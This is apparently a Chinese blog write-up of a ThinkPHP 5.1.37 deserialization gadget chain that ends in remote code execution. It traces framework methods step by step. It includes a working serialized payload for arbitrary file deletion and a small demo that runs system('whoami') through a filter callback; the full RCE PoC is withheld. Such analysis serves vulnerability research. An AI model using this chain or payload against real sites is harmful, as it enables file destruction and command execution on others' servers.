tp5.1.X反序列化漏洞分析

前言

国庆旅游回来,发现tp反序列化链很流行,试着学习一下,打算用三篇文章来目前最新的三个反序列化漏洞。

环境搭建

1
composer create-project topthink/think=5.1.37 v5.1.37

poc演示截图

调用链

单步调试

漏洞起点在\thinkphp\library\think\process\pipes\windows.php的__destruct魔法函数。

1
2
3
4
5
public function __destruct()
{
$this->close();
$this->removeFiles();
}
1
2
3
4
5
6
7
8
9
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}

这里同时也存在一个任意文件删除的漏洞,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
namespace think\process\pipes;
class Pipes{
}

class Windows extends Pipes
{
private $files = [];

public function __construct()
{
$this->files=['C:\FakeD\Software\phpstudy\PHPTutorial\WWW\shell.php'];
}
}

echo base64_encode(serialize(new Windows()));

这里$filename会被当做字符串处理,而__toString 当一个对象被反序列化后又被当做字符串使用时会被触发,我们通过传入一个对象来触发__toString 方法。

1
2
3
4
5
//thinkphp\library\think\model\concern\Conversion.php
public function __toString()
{
return $this->toJson();
}
1
2
3
4
5
//thinkphp\library\think\model\concern\Conversion.php
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//thinkphp\library\think\model\concern\Conversion.php
public function toArray()
{
$item = [];
$hasVisible = false;
...
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}
...
}
1
2
3
4
5
6
7
8
9
10
11
12
13
//thinkphp\library\think\model\concern\Attribute.php
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
。。。
return $value;
}
1
2
3
4
5
6
7
8
9
10
11
12
//thinkphp\library\think\model\concern\Attribute.php
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

这里的$this->append是我们可控的,然后通过getRelation($key),但是下面有一个!$relation,所以我们只要置空即可,然后调用getAttr($key),在调用getData($name)函数,这里$this->data[‘name’]我们可控,之后回到toArray函数,通过这一句话$relation->visible($name); 我们控制$relation为一个类对象,调用不存在的visible方法,会自动调用__call方法,那么我们找到一个类对象没有visible方法,但存在__call方法的类,这里

可以看到这里有一个我们熟悉的回调函数call_user_func_array,但是这里有一个卡住了,就是array_unshift,这个函数把request对象插入到数组的开头,虽然这里的this->hook[$method]我们可以控制,但是构造不出来参数可用的payload,因为第一个参数是$this对象。

目前我们所能控制的内容就是

也就是我们能调用任意类的任意方法。

下面我们需要找到我们想要调用的方法,参考我之前分析的thinkphp-RCE的文章thinkphp-RCE漏洞分析,最终产生rce的地方是在input函数当中,那我们这里可否直接调用input方法呢,刚刚上面已经说了,参数已经固定死是request类,那我们需要寻找不受这个参数影响的方法。这里采用回溯的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}

$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}

$data = $this->getData($data, $name);

if (is_null($data)) {
return $default;
}

if (is_object($data)) {
return $data;
}
}

// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}
。。。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}

$filter[] = $default;

return $filter;
}
1
2
3
4
5
6
7
8
9
10
11
12
protected function getData(array $data, $name)
{
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
return;
}
}

return $data;
}

这里$filter可控,data参数不可控,而且$name = (string) $name;这里如果直接调用input的话,执行到这一句的时候会报错,直接退出,所以继续回溯,目的是要找到可以控制$name变量,使之最好是字符串。同时也要找到能控制data参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);

// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}

// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

$this->mergeParam = true;
}

if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;

return $this->input($data, '', $default, $filter);
}

return $this->input($this->param, $name, $default, $filter);
}
1
array_merge($this->param, $this->get(false), $vars, $this->route(false));
1
2
3
4
5
6
7
8
public function get($name = '', $default = null, $filter = '')
{
if (empty($this->get)) {
$this->get = $_GET;
}

return $this->input($this->get, $name, $default, $filter);
}
1
2
3
4
public function route($name = '', $default = null, $filter = '')
{
return $this->input($this->route, $name, $default, $filter);
}
1
2
3
4
5
6
7
8
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
...
}

可以看到这里this->param完全可控,是通过get传参数进去的,那么也就是说input函数中的$data参数可控,也就是call_user_func的$value,现在差一个条件,那就是name是字符串,继续回溯。

1
2
3
4
5
6
7
8
9
10
11
12
13
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;

if (true === $ajax) {
return $result;
}

$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}

可以看到这里$this->config[‘var_ajax’]可控,那么也就是name可控,所有条件聚齐。成功导致rce。

poc这里就不放了,公网已经大范围公开。

补充:

1
2
3
4
5
6
7
8
9
10
11
12
<?php

function filterValue(&$value,$key,$filters){
if (is_callable($filters)) {
// 调用函数或者方法过滤
$value = call_user_func($filters, $value);
}
return $value;
}

$data = array('input'=>"asdfasdf",'id'=>'whoami');
array_walk_recursive($data, "filterValue", "system");

-------------本文结束感谢您的阅读-------------